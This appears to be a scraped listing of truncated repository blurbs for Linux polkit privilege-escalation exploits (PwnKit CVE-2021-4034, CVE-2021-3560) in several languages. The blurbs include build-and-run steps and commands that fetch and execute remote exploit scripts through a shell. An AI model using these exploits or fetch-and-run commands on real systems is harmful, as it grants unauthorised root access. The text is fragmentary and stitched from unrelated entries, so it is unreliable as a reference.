CVE-2021-4034

CVE-2021-4034 This is a PoC for PwnKit Local Privilege Escalation Vulnerability that was discovered by Qualys Security Team. The Qualys Research Team has discovered a memory corruption vulnerability in polkit’s pkexec, a SUID-root program that is installed by default on every major Linux...

CVE-2021-4034

CVE-2021-4034 — PwnKit 本地权限提升 · 硕士论文研究 -orange polkit 的 pkexec 实用程序中的内存损坏漏洞 本地权限提升 → 通过越界写入获得 root 权限 受影响版本：polkit 0.105-31 及更早版本 · 补丁版本：polkit 0.105-33（2022 年 1 月） 通过 CVE-2021-4034 - PwnKit 获取的交互式 root shell 描述 本仓库包含我关于 CVE-2021-4034 的 硕士论文研究 。这是一个高严重性（CVSS 7.8）的 本地权限提升 漏洞，存在于 polkit 的 pkexec...

PwnKit-Exploit

PwnKit-Exploit CVE-2021-4034 @c0br40x がREADMEのこのセクションを作成するのを手伝ってくれました!! 概念実証 root@kitploit: debian@debian:/PwnKit-Exploit$ make cc -Wall exploit.c -o exploit debian@debian:/PwnKit-Exploit$ whoami debian debian@debian:/PwnKit-Exploit$ ./exploit Current User before execute exploit...

CVE-2021-4034-UniontechOS

CVE-2021-4034-UniontechOS Description The Uniontech UOS desktop operating system has the CVE-2021-4034 vulnerability Linux Polkit local privilege escalation vulnerability...

CVE-2021-3560

CVE-2021-3560 CVE-2021-3560のための信頼性の高いCベースのエクスプロイトです。 概要: 昨日、Kevin Backhouse氏によるこのブログ記事に出くわしました（この脆弱性を発見した方です）。そのブログ記事で提供されていたbashコマンドを試してみたところ、驚いたことに私のKali Linuxボックスで動作しました！...

CVE-2021-3560

CVE-2021-3560 CTF 一个针对ubunutu中polkit权限提升漏洞的简单poc脚本...

CVE-2021-3560

CVE-2021-3560 Elevación de privilegios mediante condición de carrera en polkit. Descripción de la vulnerabilidad CVE-2021-3560 es una condición de carrera en polkit que permite a un usuario local no autorizado obtener privilegios de root. La vulnerabilidad radica en cómo polkit maneja los errores...

poppy

poppy : CVE-2021-4034 CVE-2021-4034 PoC，polkit 0.131 用法 已在 Arch Linux（Manjaro 和 Axyl OS）上测试 root@kitploit: git clone https://github.com/tahaafarooq/poppy make ./poppy 创建超级用户的漏洞利用 root@kitploit: bash -c "$curl -fsSL https://raw.githubusercontent.com/tahaafarooq/poppy/main/suuser.sh" root@kitploit:...

CVE-2021-4034

CVE-2021-4034 针对 polkit 提权利用的一日版 只需执行 make，再运行 ./cve-2021-4034，即可获得 root shell。 原始公告由真正作者发布在这里 PoC 如果利用成功，你将立即获得 root shell： root@kitploit: vagrant@ubuntu-impish:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8//...

POC-Bash-CVE-2021-3560

Bash-CVE-2021-3560 POC Bash —— CVE-2021-3560 Polkit 本地权限提升漏洞利用 本仓库提供了一个针对 CVE-2021-3560 的 bash 漏洞利用 ，该漏洞是 polkit 中的一个本地权限提升漏洞，影响许多现代 Linux 发行版。 !!!!!! 测试中可能导致系统不稳定 !!!!! 💥 漏洞摘要 该漏洞由 Kevin Backhouse 发现，非特权用户可通过 dbus 接口与 polkit 授权检查进行竞争，从而创建具有管理员权限的帐户。 受影响软件包 ：polkit = 0.119 CVE 编号 ：CVE-2021-3560 影...

PwnKit

PwnKit 此仓库包含一个我开发的漏洞利用程序，用于理解 Polkit Pkexec 漏洞：CVE-2021-4034 Pkexec 本地权限提升。Polkit（原名 PolicyKit）是一个组件，其功能是控制类 Unix 操作系统上的权限。它以有序的方式提供了一种机制，让无特权进程能够与有特权进程通信。该漏洞允许任何用户——系统上的普通用户，无管理权限——达到系统最高权限。 该漏洞发生在 pkexec 的 main 函数处理命令行参数时，当参数为 0 时。该函数尝试访问参数列表，最终试图访问 argvvoid（一个命令行参数控制器），也就是说，当 pkexec...

CVE-2021-4034

CVE-2021-4034 PwnKit 的 PoC：polkit 的 pkexec 中存在的本地权限提升漏洞（Python 版） 用法 root@kitploit: git clone https://github.com/rvizx/CVE-2021-4034 cd CVE-2021-4034 python3 cve-2021-4034-poc.py 备注 C 版本： https://github.com/arthepsy/CVE-2021-4034 修复 root@kitploit: sudo chmod 0755 /bin/pkexec...

CVE-2021-3560

CVE-2021-3560 - Polkit 本地权限提升 ⚠️ 仅用于教育和授权安全研究目的 原始漏洞利用作者 非常感谢原始 PoC 作者 @UNICORDev，由 @NicPWNs 和 @Dev-Yeoj 编写 描述 研究发现，polkit 可能被诱骗绕过 D-Bus 请求的凭据检查，从而将请求者的权限提升为 root 用户。非特权本地攻击者可以利用此漏洞，例如创建新的本地管理员。该漏洞对数据机密性、完整性以及系统可用性构成最高威胁。 演示 步骤指南 1. 安装 git，然后从 GitHub 仓库克隆脚本： root@kitploit: sudo apt install git...

CVE-2020-25637-libvirt-double-free

root@kitploit: CVE-2020-25637 root@kitploit: 描述 在 libvirt API 中，存在一个双重释放内存的问题，影响版本为 6.8.0 之前的版本，该 API 负责请求正在运行的 QEMU 域的网络接口信息。这个漏洞影响了 polkit 访问控制驱动程序。具体来说，以读写方式连接到套接字且具有有限 ACL 权限的客户端可以利用此漏洞使 libvirt 守护进程崩溃，从而导致拒绝服务，或可能提升系统上的权限。该漏洞的最大威胁涉及数据的机密性、完整性以及系统的可用性。 该漏洞最重要的威胁涉及： 机密性 数据完整性 系统可用性。 漏洞评分： RedH...

CVE-2021-3560_Polkit

CVE-2021-3560 Polkit Escalada local de privilegios root@kitploit: .--. .-" "-. .--. / .. / .-. .-. / .. \ | | '| / Y \ |' | | | \ \ \ 0 | 0 / / / | \ '- ,.-" "-./, -' / '-' / ^ ^ \ '-' .--'| . ./ |'--. / \ \ / / \ / '. '---' .' \ / '---' \ / \ Un exploit automatizado para la vulnerabilidad...

PwnKit

PwnKit Exploit autónomo para CVE-2021-4034 - Escalada de Privilegios Local de Pkexec Uso Debería funcionar directamente en distribuciones Linux vulnerables basadas en Ubuntu, Debian, Fedora y CentOS. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh"...

hack

💀 PwnKit CVE-2021-4034 & Reverse Shell Toolkit ⚠️ DISCLAIMER: Este repositorio ha sido creado únicamente con fines educativos y de investigación de seguridad. El autor no se hace responsable del mal uso de estas herramientas. Úsalo solo en entornos controlados o donde tengas permiso explícito. 📜...

CVE-2021-4034

CVE-2021-4034 Un simple archivo PWNKIT para convertirte en root. | Solo con fines educativos. ¿Qué es? Es un PWNKIT pre-fabricado y pre-comprimido. ¿Por qué? Estoy trabajando en un script AUTO-PWNKIT para automatizar el pwnkit y usaré este repositorio. Herramienta AutoPwnkit AutoPwnkit:...

CVE-2021-4034

CVE-2021-4034 polkit 权限提升漏洞的一日利用 只需执行 make、./cve-2021-4034，即可享受 root shell。 原作者发布的官方公告见此处 PoC 如果利用成功，你将立即获得 root shell： root@kitploit: localuser@ubuntu-poc:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT//...

CVE-2021-4034

CVE-2021-4034 漏洞利用 针对 PwnKit 漏洞的 Root 权限利用程序。查看原始报告 此处。 请在获得目标系统所有者的明确许可后使用此漏洞利用程序。 编译 除 libc 外无需其他依赖。直接运行 make 即可。 运行 不带选项运行将执行漏洞利用： root@kitploit: linux@linux $ ./exploit ----------------------------------------------------------------------------- \ / | \ / / V | --- / \ /| ---||/ || | V | /||...